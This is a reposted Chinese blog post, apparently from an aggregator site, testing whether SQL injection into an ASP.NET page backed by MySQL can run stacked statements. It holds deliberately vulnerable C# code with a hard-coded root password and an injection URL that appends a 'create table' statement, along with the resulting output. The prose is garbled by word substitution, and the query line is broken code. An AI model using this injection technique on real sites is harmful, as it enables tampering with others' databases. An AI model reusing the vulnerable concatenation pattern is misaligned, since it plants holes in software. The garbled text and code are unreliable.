关于Mysql + asp.net注射能支持多语句的感触[网络技术]
本文“关于Mysql + asp.net注射能支持多语句的感触[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
在一篇老外的文章里面看到一个图表,导致Mysql + Asp.Net 注入时支持多语句
真的?有点不信,测试了下:
protected void Page_Load(object sender, EventArgs e)
{
try
{
Response.Write("利用Mysql.Data.MySqlClient<br /><br />");
string myConnectionString = "server=localhost;user id=root;password=123456;database=test";
MySqlConnection myConnection = new MySqlConnection(myConnectionString);
string myQuery = "select * from admin where id"];
Response.Write("SQL:" + myQuery + "<br />");
MySqlCommand myCommand = new MySqlCommand(myQuery, myConnection);
myConnection.Open();
myCommand.ExecuteReader();
myCommand.Connection.Close();
}
catch (MySqlException err)
{
Response.Write("Error:" + err.Message);
}
//try
//{
// Response.Write("利用Mysql ODBC驱动<br /><br />");
// string myConnectionString = "DRIVER={MySQL ODBC 3.51 Driver};SERVER=localhost;DATABASE=test;UID=root;PASSWORD=123456;OPTION=3";
// string myQuery = "select * from admin where id"];
// Response.Write("SQL:" + myQuery + "<br />");
// OdbcConnection myConnection = new OdbcConnection(myConnectionString);
// OdbcCommand myCommand = new OdbcCommand(myQuery, myConnection);
// myConnection.Open();
// myCommand.ExecuteReader();
// myCommand.Connection.Close();
//}
//catch(OleDbException err)
//{
// Response.Write("Error:" + err.Message);
//}
}
这里面是衔接mysql常用的两个方法,一个是用Mysql.Data.MySqlClient这个类.二个try是利用越发传统的odbc方法.
Step 1:注释第一个代码段,拜候http://localhost:2928/MysqlInj_test/MysqlInj_test.aspx?id=1;create table test(i int) 后果得到以下的错误信息:
"/MysqlInj_test"利用程序中的服务器错误.
--------------------------------------------------------------------------------
ERROR [42000] [MySQL][ODBC 3.51 Driver][mysqld-5.0.45-community-nt]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';create table test(i int)' at line 1
到test库下面看,表test没有被成立
Step 2:注释第二个代码段,革新页面.页面返回
利用Mysql.Data.MySqlClient
SQL:select * from admin where id=1;create table test(i int)
持续按F5革新这个页面,得到以下消息
利用Mysql.Data.MySqlClient
SQL:select * from admin where id=1;create table test(i int)
Error:Table 'test' already exists
跑到test库看,公然有个叫test的表被成立了.乖乖,看来老外说的是真的,但是对了一半.
本来Mysql能不能多语句履行,这和处理它的数据库驱动有很大关系.不知道是不是绝春接洽,但是至少是一个重要的因素.
推而广之呢?
以上是“关于Mysql + asp.net注射能支持多语句的感触[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |